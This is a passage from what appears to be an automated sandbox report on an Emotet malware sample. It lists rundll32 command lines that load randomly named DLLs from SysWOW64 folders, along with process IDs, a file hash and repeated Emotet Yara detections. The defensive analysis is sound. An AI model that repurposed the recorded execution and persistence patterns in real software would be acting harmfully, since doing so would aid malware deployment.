Yara matches: Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000D.00000002.2249797577.0000000010000000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000D.00000002.2248449232.00000000004C0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000D.00000002.2248357262.0000000000190000.00000040.00000001.sdmp, 
Author: Joe Security

Reputation: moderate

File Path Access Attributes Options Completion Count
Source
Address Symbol

Old File Path New File Path Completion Count
Source
Address Symbol

Start time: 10:32:56

Start date: 11/02/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hrjzsjr\mlycub.kot',dIFPdO
FPiwZFUl

Analysis Process: rundll32.exe PID: 1924 Parent PID: 620Analysis Process: rundll32.exe PID: 1924 Parent PID: 620

General

Analysis Process: rundll32.exe PID: 2744 Parent PID: 1924Analysis Process: rundll32.exe PID: 2744 Parent PID: 1924

General
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Imagebase: 0x530000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000E.00000002.2259337398.0000000010000000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000E.00000002.2258739528.0000000000240000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000E.00000002.2258693813.0000000000110000.00000040.00000001.sdmp, 
Author: Joe Security

Reputation: moderate

File ActivitiesFile Activities

Start time: 10:33:00

Start date: 11/02/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hrjzsjr\mlycub.kot',#1

Imagebase: 0x530000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000F.00000002.2269533338.00000000003B0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000F.00000002.2270553779.0000000010000000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
0000000F.00000002.2269461275.0000000000270000.00000040.00000001.sdmp, 
Author: Joe Security

Reputation: moderate

File Path Access Attributes Options Completion Count
Source
Address Symbol

Old File Path New File Path Completion Count
Source
Address Symbol

Start time: 10:33:05

Start date: 11/02/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Cqtptfsfibbnlgn\rmzbyllndl
lgsq.bnt',OpIYBjvoaiwa

Imagebase: 0x530000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Analysis Process: rundll32.exe PID: 2176 Parent PID: 2744Analysis Process: rundll32.exe PID: 2176 Parent PID: 2744

General

Analysis Process: rundll32.exe PID: 532 Parent PID: 2176Analysis Process: rundll32.exe PID: 532 Parent PID: 2176

General
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Disassembly

Code Analysis

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000010.00000002.2280487586.0000000000150000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000010.00000002.2280539965.00000000002C0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000010.00000002.2281126017.0000000010000000.00000040.00000001.sdmp, 
Author: Joe Security

Start time: 10:33:11

Start date: 11/02/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Cqtptfsfibbnlgn\rmzbyllndl
lgsq.bnt',#1

Imagebase: 0x530000

File size: 44544 bytes

MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000011.00000002.2346045466.0000000000220000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000011.00000002.2348582119.0000000010000000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 
00000011.00000002.2346073042.00000000002D0000.00000040.00000001.sdmp, 
Author: Joe Security

Analysis Process: rundll32.exe PID: 2104 Parent PID: 532Analysis Process: rundll32.exe PID: 2104 Parent PID: 532
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